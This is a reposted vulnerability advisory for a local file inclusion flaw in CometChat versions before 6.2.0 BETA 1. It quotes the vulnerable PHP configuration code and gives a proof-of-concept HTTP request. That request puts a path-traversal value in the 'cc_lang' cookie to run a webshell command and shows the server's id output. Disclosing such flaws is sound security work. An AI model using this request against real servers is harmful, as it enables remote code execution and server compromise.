Home / os / winmobile

CometChat Local File Inclusion

Posted on 25 October 2017

# Exploit Title: CometChat < v6.2.0 BETA 1 - Local File Inclusion # Date: 2017-10-22 # Exploit Author: Luke Paris (Paradoxis) <luke@paradoxis.nl> # Vendor Homepage: https://cometchat.com/ # Version: < 6.2.0 BETA 1 # Tested on: Ubuntu Linux 14.04 # # -------------------------------------------------------------------------------------- # # In versions of CometChat before version v6.2.0 BETA 1 a bug existed which allowed # any unauthorised attacker to modify the include path of a php file by sending an # HTTP request with a crafted 'cc_lang' cookie. # # If successfully exploited an attacker could leverage this bug to execute arbitrary PHP # code which resides somewhere else on the server (eg: uploaded via an upload form). # # Due to the fact that this bug resides in the configuration file of the applications # it might be possible that future versions of the chat application still contain the # file inclusion bug as the script might have been re-applied after an update. # # -------------------------------------------------------------------------------------- # # The vulnerability resides in the application's configuration file, near the beginning # of the script the following code block is executed, this is where an attacker is able # to inject a string into the cc_lang cookie. /* COOKIE */ $cookiePrefix = 'cc_'; /* LANGUAGE START */ $lang = 'en'; /* LANGUAGE END */ if (!empty($_COOKIE[$cookiePrefix."lang"])) { $lang = $_COOKIE[$cookiePrefix."lang"]; } # Near the end of the configuration file, the following code block is executed. # This is where the exploit is triggered by not sanitising the $lang variable properly. include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.'en.php'; if (file_exists(dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php')) { include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php'; } # The following example demonstrates how an attacker could leverage this bug to gain control # over the server, which could result in a full server compromise (assuming the attacker has # already managed to write a webshell to the servers' disk somehow): GET /cometchat/config.php?cmd=id HTTP/1.1 Host: example.com Connection: keep-alive Cookie: cc_lang=../../uploads/evil HTTP/1.1 200 OK Host: example.com Connection: close Content-type: text/html; charset=UTF-8 uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

TOP

Malware :